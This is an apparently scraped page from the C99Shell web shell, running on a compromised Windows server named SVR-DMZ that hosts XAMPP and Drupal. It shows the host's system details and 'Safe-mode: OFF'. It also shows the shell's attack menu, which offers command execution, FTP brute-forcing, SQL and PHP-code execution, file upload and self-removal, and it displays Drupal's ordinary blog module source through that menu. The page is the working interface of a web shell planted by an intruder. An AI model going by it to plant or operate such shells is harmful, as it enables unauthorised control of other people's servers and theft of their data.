!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\htdocs\drupal\modules\blog\   drwxrwxrwx
Free 7.96 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     blog.pages.inc (3.6 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: blog.pages.inc,v 1.6.2.1 2008/02/08 21:15:12 goba Exp $

/**
 * @file
 * Page callback file for the blog module.
 */

/**
 * Menu callback; displays a Drupal page containing recent blog entries of a given user.
 */
function blog_page_user($account) {
  global 
$user;

  
drupal_set_title($title t("@name's blog", array('@name' => $account->name)));

  
$items = array();

  if ((
$account->uid == $user->uid) && user_access('create blog entries')) {
    
$items[] = l(t('Post new blog entry.'), "node/add/blog");
  }
  else if (
$account->uid == $user->uid) {
    
$items[] = t('You are not allowed to post a new blog entry.');
  }

  
$output theme('item_list'$items);

  
$result pager_query(db_rewrite_sql("SELECT n.nid, n.sticky, n.created FROM {node} n WHERE n.type = 'blog' AND n.uid = %d AND n.status = 1 ORDER BY n.sticky DESC, n.created DESC"), variable_get('default_nodes_main'10), 0NULL$account->uid);
  
$has_posts FALSE;
  
  while (
$node db_fetch_object($result)) {
    
$output .= node_view(node_load($node->nid), 1);
    
$has_posts TRUE;
  }
  
  if (
$has_posts) {
    
$output .= theme('pager'NULLvariable_get('default_nodes_main'10));
  }
  else {
    if (
$account->uid == $user->uid) {
      
drupal_set_message(t('You have not created any blog entries.'));
    }
    else {
      
drupal_set_message(t('!author has not created any blog entries.', array('!author' => theme('username'$account))));
    }
  }
  
drupal_add_feed(url('blog/'$account->uid .'/feed'), t('RSS - !title', array('!title' => $title)));

  return 
$output;
}

/**
 * Menu callback; displays a Drupal page containing recent blog entries of all users.
 */
function blog_page_last() {
  global 
$user;

  
$output '';
  
$items = array();

  if (
user_access('edit own blog')) {
    
$items[] = l(t('Create new blog entry.'), "node/add/blog");
  }

  
$output theme('item_list'$items);

  
$result pager_query(db_rewrite_sql("SELECT n.nid, n.created FROM {node} n WHERE n.type = 'blog' AND n.status = 1 ORDER BY n.sticky DESC, n.created DESC"), variable_get('default_nodes_main'10));
  
$has_posts FALSE;

  while (
$node db_fetch_object($result)) {
    
$output .= node_view(node_load($node->nid), 1);
    
$has_posts TRUE;
  }
  
  if (
$has_posts) {
    
$output .= theme('pager'NULLvariable_get('default_nodes_main'10));
  }
  else {
    
drupal_set_message(t('No blog entries have been created.'));
  }
  
drupal_add_feed(url('blog/feed'), t('RSS - blogs'));

  return 
$output;
}

/**
 * Menu callback; displays an RSS feed containing recent blog entries of a given user.
 */
function blog_feed_user($account) {
  
$result db_query_range(db_rewrite_sql("SELECT n.nid, n.created FROM {node} n  WHERE n.type = 'blog' AND n.uid = %d AND n.status = 1 ORDER BY n.created DESC"), $account->uid0variable_get('feed_default_items'10));
  
$channel['title'] = $account->name ."'s blog";
  
$channel['link'] = url('blog/'$account->uid, array('absolute' => TRUE));

  
$items = array();
  while (
$row db_fetch_object($result)) {
    
$items[] = $row->nid;
  }
  
node_feed($items$channel);
}

/**
 * Menu callback; displays an RSS feed containing recent blog entries of all users.
 */
function blog_feed_last() {
  
$result db_query_range(db_rewrite_sql("SELECT n.nid, n.created FROM {node} n WHERE n.type = 'blog' AND n.status = 1 ORDER BY n.created DESC"), 0variable_get('feed_default_items'10));
  
$channel['title'] = variable_get('site_name''Drupal') .' blogs';
  
$channel['link'] = url('blog', array('absolute' => TRUE));

  
$items = array();
  while (
$row db_fetch_object($result)) {
    
$items[] = $row->nid;
  }

  
node_feed($items$channel);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--